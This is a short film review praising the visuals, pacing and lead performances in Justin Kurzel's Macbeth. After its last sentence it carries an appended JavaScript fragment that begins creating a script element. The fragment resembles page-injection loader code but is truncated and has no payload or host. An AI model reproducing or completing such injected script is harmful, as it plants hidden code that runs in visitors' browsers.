Director: Justin Kurzel
Starring: Michael Fassbender; Marion Cattilard; Paddy Considine
★★★★
By Karine Moore
Settling into a seat at the cinema for a well-known classic, it’s hard to know what to expect. Especially with a work that is known for it’s Scottish tendencies, there’s always a question of just how good the accents are going to be… Well Macbeth, starring Michael Fassbender as Macbeth himself and Marion Cotillard as Lady Macbeth, does an old classic some justice on the big screen (and the accents aren’t half bad either).
What I will say for this film is that it is stunningly shot. You can tell straight away that every glimpse of a landscape, every change in lighting and perspective has been well thought out and planned from the get go. There is slow motion action scenes repeated throughout the movie, which are done skillfully and overall the film is just gorgeous. Even if you are not a fan of the Bard himself, I would recommend this film to anyone who just likes to be visually entertained because you would definitely be a fan of Macbeth.
Considering the film is one that has a fairly well known plot, the movie does its best to make an old story work in a new light. The pacing of the film is good, it’s neither too fast nor too slow so you don’t feel like you’re being hit over the head with names and copious numbers of “Mac’s”, but at the same time it doesn’t feel too slow as sometimes adaptations of classics can be. It is all spoken in the original Shakespearean, so fair warning you will need those three second pauses between lines for your brain to catch up and translate what you’ve just heard into English so you can get the point.
Michael Fassbender does a fantastic job as Macbeth, and he does a good service to the concept of guilt and the slow mental unraveling of Macbeth as the film progresses. Marion Cotillard also does the character of Lady Macbeth justice, as she portrays a character that is both detestable but also empathetic, and leaves her audience with an unnerving sense of sympathy for her. Lady Macbeth’s treatment in the film overall was unexpected, as she was portrayed as a softer character. She’s shown to be wrought with suffering to such an extent that the audience can’t help but be a little understanding towards her, which throws everyone watching for a loop.
Overall the film is captivating and engaging, with stunning cinematography. It utilizes a good cast to add a new twist to an old classic, and manages to still be engaging for a modern audience despite its authenticity to the Shakespearean play. I would definitely recommend that you see it in the cinema because a film this gorgeous deserves to be seen on the big screen.var d=document;var s=d.createElement(‘script’);
